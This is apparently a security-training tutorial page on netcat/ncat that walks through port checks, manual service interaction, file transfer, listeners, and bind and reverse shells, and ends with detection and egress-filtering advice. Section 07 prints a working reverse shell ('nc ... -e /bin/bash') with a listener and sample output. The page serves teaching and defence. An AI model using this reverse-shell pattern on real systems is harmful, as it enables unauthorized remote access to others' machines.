WarFi Labs

netcat / ncat

the networking multitool ยท varies

Reads and writes raw network connections: listeners, port checks, file transfers, and reverse shells. The duct tape of networking.

Authorized use only. Run these only on systems you own or have explicit written permission to test. Full notice at the foot of the page.

01Install

Almost every system already ships a netcat. The OpenBSD variant is the most capable and is what these examples assume.

$ sudo emerge net-analyzer/openbsd-netcat # Gentoo

$ sudo apt install netcat-openbsd # Debian / Ubuntu / Kali

$ sudo dnf install nmap-ncat # Fedora / RHEL (provides nc)

02What netcat does

netcat makes a raw TCP or UDP connection and wires it to standard input and output. That sounds small and is enormous in practice: anything that speaks over a socket, you can poke by hand. Check if a port is open, talk to a service directly, move a file with no protocol, stand up a quick listener, or catch a reverse shell. There are several versions (traditional, OpenBSD, and ncat from the nmap project); ncat is the modern one and adds TLS and access control, so prefer it where present.

↑ contents

03Is this port open

Before blaming an application, check the socket. netcat with -z (scan, no data) and -v (verbose) tells you whether a port is actually listening, which separates a network problem from an app problem in one line.

$ nc -zv 10.0.0.1 22

$ nc -zv 10.0.0.1 20-25

Connection to 10.0.0.1 22 port [tcp/ssh] succeeded!

04Talk to a service by hand

Connect to a text protocol and type at it. This is how you learn what a service really does, and how you test a web server, an SMTP server, or a custom protocol without a client getting in the way.

$ nc 10.0.0.12 80

GET / HTTP/1.0 HTTP/1.0 200 OK Server: nginx/1.24.0 Content-Type: text/html <html>...

05Move a file with no ceremony

When scp is not available but a port is, netcat moves a file directly: a listener writes what it receives to disk, the sender pipes the file in. Simple, and a good illustration of why an open listening port is a data-exfiltration path worth caring about.

$ # receiver:

$ nc -l -p 9000 > received.tar.gz

$ # sender:

$ nc 10.0.0.12 9000 < backup.tar.gz

# on the receiver, once the transfer finishes, verify integrity: $ ls -l received.tar.gz -rw-r--r-- 1 user user 10485760 Oct 7 16:30 received.tar.gz $ md5sum backup.tar.gz received.tar.gz ce114e4501d2f4e2dcea3e17b546f339 backup.tar.gz ce114e4501d2f4e2dcea3e17b546f339 received.tar.gz

06A quick listener

A listener waits for a connection and shows you what arrives, which is how you confirm that something can reach you and what it sends. It is also the catcher side of a reverse shell.

$ nc -lvnp 4444

listening on [any] 4444 ... connect to [10.0.0.5] from (UNKNOWN) [10.0.0.12] 51234

↑ contents

07Bind and reverse shells, and why they matter

netcat can attach a shell to a connection. A bind shell listens on the target and you connect in; a reverse shell is launched from the target and connects back to your listener, which is what gets through outbound-only firewalls. You learn these so you understand how a foothold actually works and so you can recognise one. On your own lab, catching a reverse shell from one VM on another is the classic exercise.

$ # attacker catches the shell:

$ nc -lvnp 4444

$ # target connects back (authorized lab host):

$ nc 10.0.0.5 4444 -e /bin/bash

# back in the attacker's listener window, the shell lands: listening on [any] 4444 ... connect to [10.0.0.5] from (UNKNOWN) [10.0.0.12] 49622 id uid=1000(labuser) gid=1000(labuser) groups=1000(labuser) hostname lab-target-01

» ncat removes -e on purpose because it was so abused; the --exec and --ssl options are the safer modern equivalents for legitimate use.

08Spotting and closing the holes

Everything above is a defensive lesson in disguise. An unexpected listening port is a bind shell or a forgotten service; an outbound connection to an odd host and port may be a reverse shell. Knowing the pattern is how you find it on your own machines.

» Audit listening ports regularly (ss -tlnp); anything you cannot explain is worth chasing down.

» Egress filtering matters: a reverse shell only works if the target can reach out, so restrict outbound connections from servers that have no reason to initiate them.

» Watch for long-lived connections to high, random ports on hosts that should only serve, not call out.

↑ contents

Authorized use only

The tools and techniques in these guides are for defending, testing, and understanding systems you own or have explicit written permission to assess. Unauthorized access to computers, networks, accounts, or data is a criminal offense in nearly every jurisdiction, and the penalties are real.

A few of the laws that apply, by way of example:

Wherever you are, the rule is the same: get authorization in writing, stay within the agreed scope, and never touch a system that is not yours to test. If you are unsure whether something is permitted, treat it as not permitted until you have clear authorization.

This is general information, not legal advice.